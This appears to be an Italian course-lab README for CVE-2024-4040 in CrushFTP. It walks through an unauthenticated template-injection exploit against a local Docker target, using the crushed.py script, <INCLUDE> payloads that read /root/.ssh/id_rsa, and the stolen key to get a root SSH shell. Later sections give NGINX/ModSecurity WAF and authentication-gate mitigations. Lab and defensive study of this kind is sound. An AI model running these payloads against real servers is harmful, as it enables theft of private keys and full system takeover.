
Exploit proof-of-concept per CVE-2024-4040, che dimostra SSTI non autenticato e lettura di file locali in CrushFTP, con laboratorio Docker e strategie di mitigazione.
Solo per uso educativo e in laboratorio autorizzato.
Per il modulo CS443 Sicurezza del Software e dei Sistemi. Il laboratorio è stato svolto in un ambiente Docker locale controllato.
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-4040 |
| Software Affetto | CrushFTP < 10.7.1 (branch v10) / < 11.1.0 (branch v11) |
| Tipo di Vulnerabilità | Server-Side Template Injection (SSTI) → Lettura di File Locali Non Autenticata |
| Punteggio CVSS | 9.8 Critico |
| Impatto | Attaccanti non autenticati possono leggere file arbitrari dal filesystem del server |
Il WebInterface di CrushFTP valuta le espressioni template nel parametro path del comando zip senza sanificazione. Un attaccante non autenticato può ottenere cookie di sessione anonimi, quindi utilizzare tali cookie per passare payload template ({working_dir}, <INCLUDE>…</INCLUDE>) che il server valuta e restituisce — consentendo la lettura arbitraria di file sull'host.
| Componente | Valore |
|---|---|
| Target | http://localhost:8080 |
| Versione CrushFTP Base PoC | 10.3.0 (intenzionalmente vulnerabile) |
| Ambiente di Test Mitigazione 3 | Contenitore separato con CrushFTP 11.x (branch corretto) |
| Porta SSH (contenitore) | 2222 → 22 |
| Credenziali Admin | admin / admin |
| Runtime del Contenitore | Docker (Compose) |
pip install requests rich
| Script | Fonte | Scopo |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Exploit SSTI/LFI completo — furto di sessione, lettura arbitraria di file |
recon.py | Questo repository | Rilevamento versione, sonda SSTI live, conferma vulnerabilità |
docker-compose up -d
Attendi circa 10 secondi affinché CrushFTP si inizializzi completamente prima di eseguire gli script. Non è richiesto un passaggio di ricognizione separato qui perché crushed.py verifica già se lo sfruttamento è possibile durante l'esecuzione.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
Lo script:
CrushAuth / currentAuth da /WebInterface/{working_dir} per risolvere la directory di installazione di CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> per leggere il file targetCopia il blocco della chiave privata dall'output (tutto da -----BEGIN OPENSSH PRIVATE KEY----- a -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Previsto: root
id
# Previsto: uid=0(root) gid=0(root) groups=0(root)
hostname
# Previsto: <id_contenitore>
Attaccante non autenticato
│
▼
GET /WebInterface/ ← ottiene cookie anonimi CrushAuth + currentAuth
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confermata — template valutato dal server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← rivela il percorso assoluto di installazione
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← lettura arbitraria di file
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← shell root completa
| Problema | Posizione | Dettagli |
|---|---|---|
| Dipendenza mancante | Righe 6–9 | Richiede pip install rich prima dell'esecuzione |
| Parsing XML fragile | Righe 86, 140 | Crashes su risposte server non XML; nessuna gestione ParseError |
| Regex del token troppo restrittiva | Righe 160–161 | Il pattern CrushAuth=…; currentAuth=… potrebbe non corrispondere a tutti i formati sessions.obj |
| Solo HTTP 404 | Riga 53 | Il recupero dei cookie riesce solo su 404; passa silenziosamente su altri codici di stato |
Un WAF agisce come proxy inverso che ispeziona il traffico HTTP/S in entrata prima che raggiunga CrushFTP. Utilizzando NGINX con ModSecurity, le richieste malevole che sfruttano CVE-2024-4040 vengono bloccate al confine della rete senza modificare CrushFTP stesso.
../, %2e%2e) negli URI delle richieste e nei cookieUsa Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Usa Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 è sfruttabile senza autenticazione. In questo laboratorio, l'accesso di tipo anonimo viene bloccato a livello di NGINX richiedendo un header Authorization prima di inoltrare le route sensibili a CrushFTP.
crushed.py si basano sull'accesso non autenticato; le richieste senza credenziali vengono respinte con 401/WebInterface/ e / vengono negate a meno che non siano presenti dati di autenticazioneservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp